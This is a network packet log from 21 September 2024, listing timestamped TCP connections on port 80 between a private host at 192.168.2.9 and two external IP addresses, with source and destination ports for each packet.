Sep 21, 2024 13:33:42.551183939 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.551201105 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.552000999 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.552018881 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.552026987 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.552041054 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.552047968 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.552062988 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.552069902 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.552074909 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.552078009 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.552086115 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.552093983 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.552113056 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.552120924 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.552120924 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.552134037 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.552139997 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.552149057 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.552151918 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.552165985 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.552181005 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.552184105 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.552194118 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.552206993 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.552208900 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.552222967 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.552238941 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.552253008 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.552253962 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.552270889 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.552277088 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.552294016 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.552315950 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.552968979 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.552993059 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.553008080 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.553015947 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.553023100 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.553036928 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.553041935 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.553056002 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.553057909 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.553071022 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.553071976 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.553088903 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.553092003 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.553102016 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.553103924 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.553114891 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.553118944 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.553133011 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.553143978 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.553148031 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.553163052 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.553164005 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.553174019 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.553178072 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.553195000 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.553200960 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.553209066 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.553211927 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.553225994 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.553226948 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.553242922 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.553246975 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.553258896 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.553281069 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.553282022 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.553301096 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.553308964 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.553324938 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.554138899 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.554163933 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.554179907 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.554197073 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.554202080 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.554212093 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.554213047 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.554225922 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.554238081 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.554241896 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.554254055 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.554256916 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.554269075 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.554275036 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.554291010 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.554303885 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.554303885 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.554306030 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.554318905 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.554322958 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.554339886 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.554346085 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.554358959 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.554359913 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.554373980 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.554377079 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.554389000 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.554405928 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.554414034 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.554420948 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.554426908 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.554438114 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.554441929 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.554452896 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.554457903 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.554472923 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.554498911 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.554498911 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.554837942 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.554884911 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.555059910 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.555074930 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.555089951 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.555098057 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.555107117 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.555109978 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.555124998 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.555135965 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.555140972 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.555146933 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.555155993 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.555166960 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.555171967 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.555176973 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.555187941 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.555197954 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.555202961 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.555218935 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.555218935 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.555227041 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.555234909 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.555248976 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.555249929 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.555263042 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.555267096 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.555279016 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.555283070 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.555294991 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.555301905 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.555311918 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.555320978 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.555335999 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.555360079 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.555372953 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.555918932 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.555934906 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.555953026 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.555968046 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.555982113 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.555988073 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.555998087 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.555999994 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.556015015 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.556018114 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.556031942 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.556034088 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.556049109 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.556051970 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.556067944 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.556248903 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.556821108 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.556845903 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.556859970 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.556875944 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.556885004 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.556885958 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.556890011 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.556905031 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.556920052 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.556929111 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.556929111 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.556935072 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.556950092 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.556963921 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.556972027 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.556972027 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.556978941 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.556988001 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.557003021 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.557015896 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.557015896 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.557018995 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.557034016 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.557049990 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.557058096 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.557064056 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.557073116 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.557086945 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.557089090 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.557089090 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.557097912 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.557127953 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.557127953 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.557331085 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.557746887 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.557761908 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.557787895 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.557792902 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.557805061 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.557809114 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.557821035 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.557828903 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.557832003 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.557843924 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.557846069 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.557862997 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.557863951 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.557881117 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.557884932 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.557898998 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.557912111 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.557912111 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.557914019 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.557933092 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.557943106 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.557946920 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.557957888 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.557964087 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.557986021 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.557986021 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.557991982 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.558007956 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.558007956 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.558026075 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.558031082 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.558046103 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.558048964 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.558062077 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.558068991 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.558079004 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.558089018 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.558096886 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.558111906 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.558125019 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.558166027 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.559062004 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.559084892 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.559099913 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.559107065 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.559122086 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.559137106 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.559151888 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.559168100 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.559165955 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.559165955 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.559175968 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.559184074 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.559189081 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.559199095 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.559207916 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.559222937 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.559237957 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.559252977 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.559253931 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.559253931 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.559267998 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.559283018 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.559290886 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.559290886 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.559298038 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.559312105 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.559325933 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.559336901 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.559336901 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.559446096 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.559571981 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.559587955 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.559601068 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.559623957 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.559638977 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.559664011 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.559668064 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.559679985 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.559691906 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.559703112 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.559711933 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.559720993 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.559731007 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.559736967 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.559743881 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.559760094 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.559775114 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.559778929 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.559791088 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.559791088 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.559792042 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.559808016 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.559822083 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.559828043 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.559828043 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.559829950 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.559838057 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.559845924 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.559859991 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.559863091 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.559863091 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.559866905 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.559885025 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.559894085 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.559936047 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.559936047 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.561470032 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.561487913 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.561501980 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.561517000 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.561532021 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.561557055 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.561557055 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.561685085 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.563982010 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.563999891 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.564013958 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.564028025 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.564044952 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.564059019 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.564060926 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.564069033 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.564083099 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.564097881 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.564105034 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.564105034 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.564112902 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.564126968 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.564141989 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.564151049 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.564151049 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.564157963 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.564193010 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.564193010 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.565156937 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.565354109 CEST	80	49710	103.130.147.211	192.168.2.9
